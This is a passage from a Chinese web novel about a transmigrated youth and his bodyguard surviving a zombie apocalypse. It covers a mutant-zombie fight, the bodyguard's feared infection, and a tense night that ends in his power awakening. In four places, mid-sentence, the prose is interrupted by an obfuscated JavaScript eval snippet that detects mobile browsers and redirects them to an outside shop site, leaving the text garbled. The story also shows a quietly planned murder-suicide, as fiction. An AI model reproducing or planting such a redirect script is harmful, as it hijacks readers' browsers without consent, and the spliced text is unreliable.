一般的丧尸行动僵硬,是无法做出这么灵活诡异、隐藏自己的动作的,但有些丧尸吃多了人后便会进化,还有些会变异,拥有特殊能力,像是这只丧尸,明显就是变异丧尸中的一种,甚至拥有一定的智力了。 它认得枪,所以才有意地隐藏了自己的身形,等到齐疏月步入陷阱之后,才会悄无声息地从上面扑过来,一击毙命——然而现在的它,已经被齐疏月发现了。 双方对视的一瞬间,说时迟那时快,趴在头顶的丧尸瞬时间扑了过来,齐疏月的心都快跳到了嗓子眼里,然而这时候他却一声不吭,迅速地抬起了枪.支,保持视野中的三点一线,极其精准地射击! 枪.支经过了改装,声音不算太大,只是后坐力仍然惊人,齐疏月的手都被震麻了,哪怕有左手托着,都无法控制地往后一震,弹道往上偏移了些许。 但即便如此,弹药还是精准地射击到了丧尸头颅的眼眶当中。它的动作有了明显的滞涩,原本要扑的位置都歪了,也得益于此,齐疏月慌忙后退避开,背抵墙壁。 其实一般的丧尸,只要被破坏了头部、脊椎或者超50%的躯干位置就能“二次死亡了”,齐疏月刚才的那一枪绝对能够解决大部分的丧尸。可眼前偏偏是一只变异丧尸,抵抗力超乎寻常,居然还能行动,此时更被激发了凶性,发出极为恐怖的嘶吼声,向齐疏月扑过来。 齐疏月不敢将后背留给它,只能倒退着撤离。眼中已经含着泪了,尽力保持着手不抖,在丧尸扑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960867|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的时候又开了一枪。 这次命中的是对方的胸膛,强大的冲击力让丧尸往后方仰倒,而齐疏月在此时又补了一枪,命中了丧尸的喉口,血肉炸裂开一片,丧尸的脑袋顿时将掉不掉地歪着。 这一击对它的影响是致命的,丧尸行动失调,在原地转了两圈,已经完全找不到齐疏月的位置。 齐疏月勉强松了一口气,正准备再补一枪彻底解决掉对方,却在找方位的时候过于专注,忘记了自己身处楼梯口,一步踏空,竟是向下跌落下去—— 瞳孔蓦地睁大!声音都像被堵在喉咙当中,什么都发不出来。 然而就在那瞬间,齐疏月被人从后方接住了。身量极高的男人完全将齐疏月包裹在了怀中,往下跌落带来的重量好似不值一提那样,他轻易地就将齐疏月整个端起来了,和抱起一只猫似的那么轻松。 就是双臂箍得也太紧了…… 踏空的脚下忽然落至实处,齐疏月显然也松了口气,滚烫的体温顺着相触的地方传来,莫名给了齐疏月一点心安感。他迟怔之下抬头,看见的便是那张熟悉面孔,也很难不高高兴兴地喊:“观野!” 观野不说话。 齐疏月这时候才意识到,观野的脸色实在有些难看。 再一想如今他们相遇的场景,也跟着一默,有些讪讪。 其实这才哪到哪呢,他们之后还要吵架的…… 也就是这时,先前几乎都被齐疏月忽略的那只丧尸,却不知为何突然找到了方位,拖着快掉下来的头颅扑了上来。齐疏月下意识出声提醒:“观野,丧尸!” 他这会也想抽.出枪来射击,但双手被抱得太死了,一时应付不及。也不知观野如何想的,竟是下意识抱住齐疏月背对着那只怪物,但他判断失误也只有这么一瞬,在那丧尸喷薄着腥臭气的獠牙几乎都快咬在身上的时候,观野骤然松开了齐疏月,还将齐疏月往旁边放了放,才骤然转身一脚踢在了丧尸的心窝上,硬生生将怪物踹飞到了楼下。 观野也没再愣着,就在这时已经拾起了扔在脚边的钢棍——这也是观野这段时间新找到的武器。因为怕齐疏月害怕,从来没带回过702寝里,都是找顺手的地方藏起来。 钢棍上端被拧成极尖锐的利剑似的,带着猩红的斑驳痕迹,奇异的液体叠了一层又一层,此时观野面无表情地拎着钢棍,一下就砸向了那只丧尸的头颅。 一下,又一下。 其实丧尸早就不动了,也死得不能再死了。但观野还是在不断地攻击它——脸上表情甚至都没什么变化。 齐疏月从来没看过观野这么凶残的模样,一下子都怔住了,看着眼前血液飞溅的场面,几乎是有些胆寒地挪开了眼睛。 就在这时候,观野将那根钢棍扔在了地上,金属碰撞的声音让齐疏月都跟着一抖。 观野向他走来,声音很沉:“先回去。” 12.末世篇(12) 齐疏月老老实实跟着回去了。 他现在其实也还有些惊魂未定,就是分不清是被那变异丧尸吓得还是被现在显然更可怕的观野吓得了。 观野一直跟在他半步之后,盯着齐疏月踏入寝室,方才跟进去,沉默地落了锁。齐疏月原本精疲力竭地想往沙发椅上一坐,听见反锁的声音,立即竖起耳朵打起精神地站起来了,心里还惦记着任务的后半条注解还没完成。 “为什么——”观野刚发出声音,齐疏月便抢先开口了。 “整日缩在这么小一方天地中苟且偷生,和死又有什么分别?” 齐疏月不敢露怯,硬着头皮盯着观野那双血色的眼睛:“观野,我知道你想保护我,可是你能保护得了我一世吗?我迟早要面对这些的。我成年了,也能杀丧尸,也能搜寻食物。” 齐疏月说着,将自己那袋月饼晾出来了,“我不是个废物。不想……被无底线地限制自由。” 任务还是没完成。 齐疏月深吸了一口气,沉痛地将关键任务台词说出来了。 “观野,我宁愿死,也不想被你囚禁。” 齐疏月说着,心里都快流泪猫猫头了:对不起了野哥,我也不想这么说你的,但任务实在非我所愿。 好在这句话说完后,系统总算给了些反应,提示他: [任务二已完成。] 这些支线任务完成了都是能加表现分,有奖励的,但现在齐疏月心里却一点不高兴,或许是因为此时此刻,观野的神情看上去太……难过了。 观野刚回来的时候,明显是有些生气的,齐疏月看得出来。只是被他恶人先告状了一波,观野的神色先是惊讶失落,随后便是焦躁不安,再紧接着,就是这样好像哀莫大于心死般……死气沉沉的表情了。 看上去好像很愧疚,又带着痛苦一般,连着齐疏月都觉得心情沉郁不少,也很过意不去。 反正这会任务已经完成了,齐疏月深吸一口气:“但话又说回来……” “对不起。”观野说,“我只是怕你遇到危险,今天的事,至少,也要同我一起。” 观野的视线躲闪,低垂着眼并不直视齐疏月:“我知道,齐疏月,你很厉害。” 齐疏月:“……” 齐疏月甚至思考了一下观野是不是被气的开始阴阳怪气自己了,结果发现观野好像真的是这么认为的。 观野说:“不要再说那样的话了。” 齐疏月已经开始想是哪句话比较过分了,结果发现都还挺过分的。 在他思考的时候,观野声音滞涩,目光也有些落不到焦点处。那股杀丧尸时的凶神恶煞近无,情绪只剩下茫然空洞,身体微微颤抖着,像是在经受某种极其强烈的痛苦般,音调喑哑至极:“我、我没有,想,囚禁你。” ——真的,从没有吗? 将齐疏月变成自己的所有物,永远、永远地停留在这样的瞬间,抬眼就可以看见他,伸手就可以触碰到他,将两个全然不同的世界强行相融,让齐疏月永远只能依靠自己。相互地,从精神到身体上寄生于对方。真的,从来没有吗? 骤然之间,仿佛有尖锐之物在脑浆当中翻倒,剧痛无比,观野太阳穴旁边的青筋都在突突地往外跳,他的手也跟着抖动,鲜红色的眼睛浓郁得像是要淌出血来,原本还很英俊的面容,此时都被那股强烈的煞气给扭曲了。齐疏月也察觉到了观野的不对劲,也顾不得纠结到底是哪句话比较过分了,上前想扶住观野,却被推开了。 齐疏月一时都有些茫然无措,这还是观野第一次甩开他的手。 应当是生气了吧? 齐疏月也反省了一下,谁这样被误解好心都会生气的,观野大概这会也有气了。因此齐疏月语气都小心了一些,用那种很容易让人心软的声音说道:“其实我想了想,我也有错,是我误解你了。有什么问题也应该好好沟通,不应该用这么激进的方法证明——也好在没出什么事。我刚才说的话,你不要放在心上。” “……观野?” 观野却又退了一步,侧过身,看不清他此时面容。只见冬日之下,他的额间都蒙生出许多细汗来,正不断低声呢喃着什么:“对不起,对不起,对不起……” 齐疏月还是凑过去才听得清,刚想说什么,就见观野好像反应很大似的往后避开,看向他。 那目光其实很阴沉可怕,像是猛兽盯上了猎物一般,红色的眼几乎成了竖瞳形态,更像是某种兽类了。 要换在以前,齐疏月是一定会害怕的。但他到底和观野相处这么久,看惯了他的红眼睛,而他现在看着观野明显的痛苦神色和额头细汗,更担心观野的状况不对,怀疑他进入了“疼痛期”,非但不退,还硬着头皮贴上前,又抓住了观野的手。 好烫。 齐疏月一时心惊:“你……” 手指冰凉而柔软的触感传来,也的确像是炎热地狱中的一捧雪般,浇灭了那股将要把观野焚尽的痛苦。 想要更多。想渴求更多。 观野下意识地反握住齐疏月的手,欺身上前,却又忌惮着那股强烈欲.望的一触即发,只能压抑着自己,像沙漠中望见海市蜃楼的旅人,渴望着,对于如何攫取水源却不得其法。 他不能再上前了,再上前,会再一次的—— 伤害齐疏月。 这大概是观野第一次生出要离齐疏月远些的念头。 从末世爆发以来,他就像皮肤饥渴症患者般恨不得时时刻刻黏在齐疏月的身上,每一次离开都备受着某种拷打和煎熬。现在却是极狠心地,硬生生掰开了相握的那只手,在齐疏月略微睁大的淡茶色的眼眸下,向后退开数步,想要夺门而出。只是,即便在这种心神不稳的状态下,观野偏又害怕齐疏月会再一次,在他不在的情况下离开,然后撞见丧尸。 于是观野的脚步硬生生一停,十分生硬别扭地调转了方向,语气还好似无事发生:“我去洗手间。” 但下一秒,观野就听见了齐疏月像是在受惊之后,几乎颤抖的声音:“观野——” 几乎没什么挣扎可言,在观野意识到心软之前,身体先一步地停下来。下一秒,齐疏月就扑了上来。 那动作很亲密,但又不像是拥抱,齐疏月的指尖颤抖地要落在观野的脊背上,又像碰见了火烛一般猛地弹开。 巨大的恐惧弥漫上齐疏月心间,骇得他连牙齿都在微微打颤,手腕一直止不住地抖。即便是在面对那只变异丧尸的时候,齐疏月也没有表现出这样直白的、强烈的害怕,但是他此时,眼前一阵阵的发黑,巨大的浪潮铺天盖地袭来,也轻而易举地卷走了他,齐疏月在其中沉浮,毫无还手之力般。 出问题了。 齐疏月咬着牙,强行让自己至少能说出完整的字句来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962452|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “观野,”齐疏月说,“你背上的伤口,是什么时候留下的?” 观野背部淡灰色的外套布料被割开,从里面渗出一条极淡的血缝来,如果不注意看,几乎要和衣服融为一体,很难观察到。 但齐疏月看见了。 他在脑海当中思虑过无数种意外与可能,或许是被房间内的某处尖锐角意外划伤,又或许……但这些可能性,都近乎于自欺欺人了。 在面对那只变异丧尸的时候,观野表现的那样举重若轻,以至于让人忽略了那一瞬间的失误。 丧尸已经逼近至一个非常危险的距离,纵使它没能用利齿撕开血肉,奇长的指甲伸出时,也能轻易地划破人体防御。 在末世当中,有数目不小的历险者,都死于这种意外划伤下的感染。 观野的疼痛感知有一定问题,再加上他现在所处于的特殊阶段,让他忽略了这条微小的、却致命的伤痕。 但此时齐疏月的询问,也让他第一时间记起了那一幕,清晰地排查到了这条伤口的来源。 在短暂死寂后,观野忽然开口:“齐疏月,我会变成怪物吗。” ——主角怎么会变成怪物呢? 齐疏月想。 可是主角本也不会被丧尸抓伤,而观野还没有度过异变期,成为真正意义上的异能者,他对于丧尸病毒的抵抗能力几乎为零,和任何一个普通人没有区别。 齐疏月内心巨大的震动和恐惧正是来源于剧情的改变,那道血痕印进齐疏月的眼睛里,将他一时冲击的束手无策。在意识到“出问题”的那一刻起,齐疏月在脑海当中反复反刍今天发生的一切,绝望地想,会不会…… 是因为他的存在。 如果不是他,观野会这么频繁的去搜寻物资吗? 还有突然颁布的“作死任务”,或许是他离开房间,才会吸引来本该不出现在这个阶段的变异丧尸。如果不是他在那里,或许观野也不会因此分神,被丧尸所伤。 好像一环环环相扣,偏偏每一个推动的因果都是他。 只有身为外来者的任务者,才能推动改变剧情线的变化不是吗? 齐疏月越想越心慌,对任务失败、彻底搞崩了世界线的恐惧——和对观野的愧疚都沉重地压下来。密不透风地包裹住了他,好像一脚便踏入尽无限黑暗的漩涡当中,连他自己都没发现他这会抖得多厉害,眼泪一下子就往下掉,呼吸也瞬间急促起来。 齐疏月几乎是控制不住地开始深呼吸,却还是喘不过气,心悸头晕,意识都有点模糊不清了,也听不见外界的声音。直到他的半张脸被一只宽阔的手掌满当当捂住了,变得稀少的空气反而让他胸痛的症状缓解了不少,齐疏月听见耳边观野略紧绷的声音:“齐疏月,慢慢往里吸气,慢慢来,不要慌。” 呼吸渐渐变得平稳起来,齐疏月缓过神来,才发现自己眼泪全都蹭到观野的手上了。他抬眼向上看去,露出来的半张脸粉白,那双茶色的眼睛还含着泪意,粼粼似星河转,视线焦点好一会才茫然地落在观野脸上。 观野的手也还覆在他的口鼻上,缓慢地,用粗粝指尖摩挲掉他脸上的泪。 那双鲜红色眼睛里糅杂着极混乱癫狂的情绪,复杂得好似一瞬间都要满溢出来将齐疏月淹没那样,又透着些许柔情意味。 “齐疏月。”观野问:“你现在是害怕我,还是更在意我?” 13.末世篇(13) 这算什么问题? 齐疏月被问懵了一下。他的脸从那张宽阔手掌里挪开,露出泛着红的鼻尖,淡茶色的眼睛很直白地盯着观野,最后只本能地道:“观野,不要死。” “我不想你变成怪物。”齐疏月感觉眼泪又控制不住地掉下来了,他拿手胡乱去擦,很用力,以至于将脸也擦得很痛,最后被观野捉住手腕,像是被强行按在地上袒露腹部的猫咪那样没有安全感,只能抽泣着说,“我不要你死。” 于是又被观野抱住了。 他们抱了很久,观野将齐疏月一整个人都包裹进怀抱里,体温滚烫,齐疏月觉得自己像是一团快要化掉的棉花糖。最后听见观野的气息喷薄在他的耳边说:“我知道了。” ——应当是在意的。 在心底那头永不餍足的野兽被短暂地投喂了温情,以至于产生饱足感时,观野的情绪也接近平稳,后知后觉地生出了一股恐惧感。 一具行尸走肉,竟在临近死亡时才终于意识到自己必须活下来那样。 观野恐惧的甚至远超过死亡本身。如果他死了,被他独自遗留下来的齐疏月要怎么办? 本该永居夜幕上的明月,在混乱失序的世界里却无法被保全——天地倾覆时,月亮也仿佛人人都伸手即可够到。齐疏月那样娇气柔软,要将他一个人遗留下来,面对那些吃人的怪物,和同样吃人的人心吗? 哪怕只是稍微在脑海中构思出那样的画面,观野便压抑不住体内鼎沸的杀意,更压抑不住漫天遍地扑来的恐惧。这种情绪何其陌生,以至于观野也手足无措。只是在他将陷入癫狂时,又听见齐疏月强行压抑着、却还是不慎泄露出来的一瞬哭泣声。 怀里的存在仿佛成为倾塌的天地间唯一的支点,也是观野理智的最后一丝防线。 他必须冷静下来。 观野低头,用生涩的、拙劣的技巧哄着怀里的人,也做好最后的打算。 在他还没变成怪物之前,他会去尽力搜寻物资,将附近的丧尸杀空,制造一个短时间内,足够安全的领域。 如果可以,他还会为齐疏月挑选新的盟友……但不确定性太强,剩下的时间也太短暂,短暂到观野无法确定自己能亲自完成这一切。 他画了地图,又写下一册名单交给齐疏月。用曾经留下来,以为绝不会再使用的特殊通讯器,不断向外发送信号——只是在末日影响之下,暂未收到那些人的回应。 “如果能见到他们,将你的枪给他们看,他们会代替我照顾你。” 伴随着名单递出的,还有这句话。观野神色尽量保持着淡漠平稳,只是偶尔会流露出一丝恨意,无比妒恨起自己会死的太早。 齐疏月稀里糊涂地听着观野说这些,原本只是觉得他的声音一直在耳边,能把握住零星的安全感。等见到那本莫名其妙的名册时,齐疏月才意识到什么。 “你要走了吗?”齐疏月的唇瓣颤抖着,问出这句话。 “要离开我了吗。” 声音越来越低哑,像是轻声呢喃一样,足以令任何听到他语调的人心碎。 观野也很难不心碎。 他静了静才说,“留在这里,变成怪物,需要你亲手用枪.杀了我。齐疏月,那样对你太残忍了。” 这样的死法对于原本的观野来说,甚至是值得追求的。死在齐疏月的手上,成为他手底下第一个消逝的生命,想必也会让人难以忘怀。 偏偏在知道齐疏月的在意之后,观野又有些舍不得了。 齐疏月可能会比想象中还要难过。 所以最好的方法,是在死前尽力发挥出全部价值,做所有能做到的事。随后离开,越远越好,在无人可知的位置变成那些腥臭的怪物当中的一员,如果有可能……还是不要再和齐疏月相见了,不论从哪方面而言。 观野现在还保持着理智的清醒,他的力气明明那么大,轻易就能搬动装满的实木衣柜,可现在却偏偏掰不开齐疏月握着他的手。 齐疏月已经尽力不哭了,他几乎发不出声音来,只是抓住了观野,不断摇头。 不要、不要走。 天已经黑了,寝室陷入一片昏暗中。没有人点灯,齐疏月在静谧中强行冷静下来,断断续续地开口:“你不会,变成丧尸的。” 说是这么说,齐疏月其实根本没有任何“证据”可言,也没有任何倚仗。 他和观野陷入了同样纠结两难的境地当中,但是他没得选,也只能相信这个毫无依据的结论,相信奇迹会降临在主角——或者说降临在自己的身上。 “所以留下来吧,万一很幸运,你没有感染,”齐疏月低声喃喃,更像是在祈求一个美好愿景,“我们就能继续,在一起。” “如果感染了的话。” 齐疏月轻微地叹了一口气,认同了观野之前说的那个可怕的局面,“在你变成丧尸的时候,我会杀了你,用你给我的枪。” “然后……”齐疏月的胆子一向很小,这时候却显得很坚定:“我会和你一起走,不会让你一个人的,观野。” 齐疏月这会确实有点心如死灰的意思在。 主角都死了,剧情也彻底崩塌,他这个炮灰还有什么存在下去的必要?甚至这个小世界应该都会暂时封存,等待下一次重新发育进化的时机。 发展局应该会派来更加有实力的老员工,将弥补他闯下来的弥天大祸。为此将付出多少人力物力不提,齐疏月觉得自己,应该是要被开除了。 过往一切都成泡影,齐疏月舍不得现世的家人和朋友,也在此时,真情实意地愧对被自己搞砸了人生的主角。如果不是他,观野应当还有许多传说要谱写。 这些巨大的压力和愧对的情绪汇集在一处,压得齐疏月身体都在微微发颤,只能很轻声地说“对不起”。 观野很久都没给出正常的反应来。 那一句话落在他耳中,仿佛平地惊雷一般,轰得他脑子都在微微发麻,四肢百骸都说不出的……泛着痒。 这是…… 殉情? 当然,或许还有更多的解读,齐疏月依赖着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967758|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才会在发觉他要死之后情绪一时失控低落,说出这样的话。在最初的那一股震动后,观野才发现自己并没有想象中确认了自己的必要性那样的高兴,反而更加强烈心悸。怜惜和悔恨,同时蔓延了上来。 可惜一切都不够及时了,观野的嘴唇张合,却什么声音都没发出来。 他只是想,很高兴,到死都能绑着齐疏月一起。 也在想,但是齐疏月的后半生,不能浪费在一个死人身上。 * 一切像是如齐疏月所愿,观野最后没有离开,他出去清理了更多的丧尸,也搜寻回来了更多的物资,几乎要将他们的小房间堆放得满满当当。最后因为齐疏月强烈要求要跟着他一起,观野还是老实地将自己关回了寝室里。 齐疏月给他上了药,伤口用绷带缠紧了,但只有观野知道那道伤口还在不断地腐烂扩大。 但他的体质实在是好,依旧没有变成丧尸,每天晚上休息的时候,就会让齐疏月拿出工具箱里的绳索把自己捆起来,然后关进卫生间里。 齐疏月按照他说的话,将他用绳子绑起来了,但不愿意把观野关进卫生间,只说:“这样就够了。” 然后窝在沙发椅上正对着他,蜷缩成一只小猫似的模样,穿着睡衣盖着棉毯,昏昏欲睡模样。 齐疏月这几天显然也是没休息好的,眼底下有一层淡淡乌青。观野看了又怎么不会心疼,只是齐疏月也不肯听他的话去床上睡,很倔地缩在沙发椅里说:“我要监视你的。” 其实是陪着。 观野知道的。 甚至生出了一种自己怎么不能早点死非要这样耗着的疯狂混乱的念头来。 也是在这样的一个夜里,观野察觉到了自己身上的变化,身体似乎更烫了,他在渴求着某种存在,在喉结滚动的一瞬间,观野喊了齐疏月的名字。 齐疏月正半搭着眼睛,小憩当中,听见观野的声音就朦朦胧胧地睁眼。 观野那双猩红的眼在黑暗中紧紧盯着他,说:“齐疏月,看着我。” 而在齐疏月真正看过来的时候,观野居然笑了一下。 齐疏月很难得能从观野脸上看到的那种、温和的笑意。 齐疏月怔了一下,下意识地也想轻笑一下,但是心底情绪已经不可抑制地变得低落起来,生理上已经先一步明白现在的局面。 要来了。 观野说:“拿着枪过来。” 枪里的弹药满匣,是观野之前亲手换的。 枪就放在旁边,齐疏月摸上枪柄的时候,手指被冻得僵冷,几乎难以弯曲,很艰难地才确保自己扣在扳机上。 他来到观野的身边,高高俯视着被绑起来的观野,像是叱咤风云的杀手那样。 齐疏月觉得自己此时的表情应该非常之冷酷无情,但是观野看着他叹息了一声,语气很有些疼惜和无奈意味:“不要哭了,小少爷。” 齐疏月怔怔地眨眼,才发现眼泪又掉下来了,而且因为位置的尴尬,几滴泪都一下落在了观野的脸上。 14.末世篇(14) 其实落在脸上就算了,还有一些意外滑进了观野的唇缝间。 齐疏月发现这点,更难不脸热,很不好意思。 观野这时候却在想:苦的。 齐疏月的眼泪很苦涩。 他似乎总是在让齐疏月哭。 偏现在却连安慰他,帮他擦掉眼泪都做不到——不知道什么时候,自己会变成怪物,看似无害的手指也会成伤人的利器。 似乎总隔着一层雾气、被强行变得平淡的情绪,在此时也被疯狂搅动起来,一下一下,冲击着那颗心脏。 观野忍不住想说些什么,但在他开口的同时,一股强烈痛楚从脏腑袭来,全身都像被剧痛打成碎片那样。 背部,被丧尸划伤的伤口处激发出了惊人的痒意,观野甚至能清晰地察觉到那一部分的肌肉在突突跳动着,好似完全不受控制地要长出什么。 他缓过了那一阵剧痛,额发都被冷汗打透,却还是很清晰地开口:“齐疏月,开枪。” 他的身体在失去掌控。 在他真正变成怪物前,那些炽热的感情都被吞下去。 观野神色冷漠平缓,他开口:“你没必要和我一起死,毕竟这世上还有许多真正爱你的人。” “而我——” 那喉结滚动了一下,这些话像是在心底练习过千遍万遍,此时才能如此流畅地说出来:“照顾你,只是因为,这是我的工作。” “如果不是因为你母亲的命令,我这辈子都不会和你这样的少爷相处。” “如果调换过来,相同的境地,我会毫不犹豫地抛弃你。” “所以没必要心慈手软了,小少爷。” 杀掉他,将他的尸体清理干净,活下去,然后去寻找新的生机。 这就是观野所想的。 或许齐疏月会难过一阵,但总比同他一个怪物去死要好。那股好像颇为陌生的疼痛又从胸腔处钻出来,观野也再一次恨自己实在死的太早,直到生命的最后一刻,他还是要再弄哭齐疏月一次,对他恶言相向。 齐疏月也的确怔住了,那双淡茶色的瞳孔都微微放大,不过也实在没有到被观野弄哭的地步,齐疏月只是想,观野为什么会突然提起这些——提起这些他早就知道的事。 他当然知道观野是因为责任感才继续照顾他,纯粹就是个命苦的打工人。 作为主角,观野已经足够正直了,哪怕在剧情里,也是被自己作的实在难以忍受,又发现炮灰永不知悔改,才选择放弃昔日责任。 如果自己变成丧尸的话,观野当然会理所应当地消灭他啊。 也正因为早有预感,这番话对于齐疏月的伤害属于零。齐疏月只是不明白观野为什么会在此时提及……或许是已隐忍许久,才在死前来吐露真心? 这么想着,又觉得观野的死亡有自己的一份,齐疏月愈加觉得愧疚。 他也不想做一个讨人厌的人,但任务就是如此。 现在的齐疏月也很心如死灰,任务全盘崩塌,他也顾不上会不会扣人设分的事了。长而翘的睫羽往下一压,沾着雾气,很是失落、以至于语气都显得很可怜地道:“对不起。” “对不起……观野。” 停顿的一瞬间,像是有被压下去的短暂啜泣声。 齐疏月哪怕被欺负了,也只会哭着道歉——在意识到这一点的时候,观野差点疯了,也非常地想要将刚才说出伤害齐疏月的话的自己碎尸万段。可他的目的还没达成,解释道歉的话硬生生哽塞在喉咙里,观野的脸色青白,真和丧尸差不多了。他缓了一会,才咬着牙压下那股冲动,很生硬地说:“你、没必要……没必要道歉。” 再多说一句就要露馅。 观野绞尽脑汁地想着,怎么才能显得自己混蛋一点,但又不至于让齐疏月太伤心:“为我这种人难过没意义,会显得很……笨。” 齐疏月根本没听懂他这话里的逻辑,还有些茫然。 但他看向观野的时候,就发现观野全身都在控制不住地颤抖,是那种像经受着巨大痛楚和恐惧才会有的本能的生理性反应,对于后者,齐疏月是很熟悉的。 所以他想要让观野,至少在最后时刻能够好受一些,也别那么讨厌自己一点。 目前条件有限,齐疏月也弄不来什么安定药物,他想到观野以前是如何安慰自己的,擅长从肢体行为中学会汲取爱意和安全感的齐疏月思考一下,靠的更近了。然后面对着面,在观野的大腿上坐了下来。 观野:“……?!?!” 观野在那一瞬间几乎要冒烟了,好在他很快反应了过来,语气近乎咬牙切齿地道:“你——!离远点,靠这么近,被我咬到怎么办?” 观野的手脚还被绑着,没办法推开齐疏月。 何况就算他没被绑着,这个举动对他而言也未免太难以实现了。 齐疏月却只当没听见,他很用力地,将观野的头往下压了压,示意观野低头,最好,还能弯一下腰。 观野现在脑子都是糊的,也很下意识地配合齐疏月的举动,如果不是上半身被绳索捆得很严实,他这会弯腰的幅度应该更大才对。 齐疏月坐在观野的腿上,对方身量高,他足尖都快够不到地。怕稳不住身形,齐疏月一开始是扶着观野的肩头的,但见观野配合,后面就变成了靠过去将观野的头压进了自己的怀里,形成了一个非常亲密性质的拥抱。 像是足以容纳观野的一切,也消融一切刚才不够愉快的经历,两个人只是拥抱。 观野感觉到自己埋在齐疏月怀里,耳朵憋得更红了,身上从上到下地冒着热气。 因为靠得近,他能很清楚地闻见齐疏月身上的味道了——从这样亲密的近似于冒犯的距离里,闻见从对方皮肤里散发出来的近乎馥郁的淡香。 甚至好像能觉察到齐疏月胸前的一点起伏的弧度那样。 即便控制住自己不从这样隐秘的位置的接触下进行遐想,观野还是全身发烫得能把自己煮熟了,头上都快冒出热气,身下也有了些不该有的反应。 齐疏月没注意到,因为这会他正专心致志地拥抱观野,也在调整位置。等调整好后,齐疏月手上拿着的枪,也抵在了观野的后脑勺上。 观野察觉到后脑袋上抵着的冰冷金属,一时也回神。心想这样也好,至少自己有什么异动,齐疏月都能轻松崩了自己。 这个时候开枪或者走火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973092|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能直接打穿观野的脑袋。 一般来说越强大的人异化成的丧尸也会越强大,出于这点考虑,齐疏月也不可能放走可能由观野变成的丧尸,让本就出事的小世界更千疮百孔了。 而观野其实还没注意到一点细节,经过改装后的枪.支威力非常之大,这样近的距离,不仅可以打穿他的脑袋,还能打穿他脑袋之后的东西——而现在的齐疏月将观野的头按在自己的胸上,弹药会穿过的位置,也是齐疏月的心脏。 这是齐疏月为两个人,为自己,选择好的结局。 观野。齐疏月小声地,用口型无声说道:我不会让你一个人太孤单的。 接下来的氛围奇异的静谧,两个人只是很安静地贴贴着,默契等待某个时刻的到来。 观野因为身体上时不时袭来的剧痛,痛晕几次,又很快清醒过来。齐疏月则抱着观野,提起枪的手举得实在太累,偷偷放下几次,再若无其事地重新提起。 其实也不觉得难熬,至少对于齐疏月而言,觉得现在能和平相处的每一分一秒都值得珍惜。 但这种平衡的确维持得太久了,以至于云边被金光浸染,第一束晨光从阳台帷帘的缝隙间落到齐疏月的脸上时,齐疏月还有些懵。他茫然地抬起头看向阳台方向,灿烈的金光映在他茶色的眼睛里,晃得齐疏月眨了眨眼,渗出些许泪水来。 他有些想要揉眼睛,但实在腾不开手,只能扑朔着眼睫低下头,避开那亮堂天光。视线不经意地落在被自己坐着的观野身上时,略微怔了怔。 天已经亮了。 但是观野的身上,似乎还是没有出现丧尸化的特征——齐疏月思索着,将紧紧拥抱的动作松开了些,示意观野抬头,让自己再端详一下。 观野还保有人类的理智。 他其实刚从一次昏迷中醒转来,听见齐疏月的话,还没那么清醒,便下意识听话抬头。那双眼与齐疏月的眼睛正好对上,就看见齐疏月的眼微微睁圆了,像是受惊的小猫那样。 “观、观野!”齐疏月的确很吃惊,他一下靠过来,翘而长的眼睫似乎都能扑朔到观野的脸上了,齐疏月很高兴地捧着观野的脸,“你的眼睛……变回来了。” 眼睛变回来了,体温也不再异常发烫,这些特异征兆的变化,都指向观野结束了特殊的“异变期”——成为了一个真正的异能者。 当然,其下真正让齐疏月兴奋起来的一点,是丧尸病毒和异能基本上是对峙的两种能力。 也不是说异能者就不会被感染了,但是异能者至少对病毒有一定抵抗力。感染了病毒后,也会影响异能的强度作为代偿。 观野在这样的重要关头却完成了异能分化,而不是出现丧尸化特征,本身就是一种很特殊且指向鲜明的预兆了。不管是抵抗了病毒才会分化成功,还是分化成功导致能抵抗丧尸病毒的存在,都结论一致地指向了某种好消息。 像是那缕无可阻拦的升起的天光一般,齐疏月心底也燃起一丝希冀。 好像真的有绝处逢生的可能。 “观野,”齐疏月眼睛很亮,带着紧张和期盼地帮他解开了上半身的绳索:“你快脱衣服给我看!” 观野:“……” 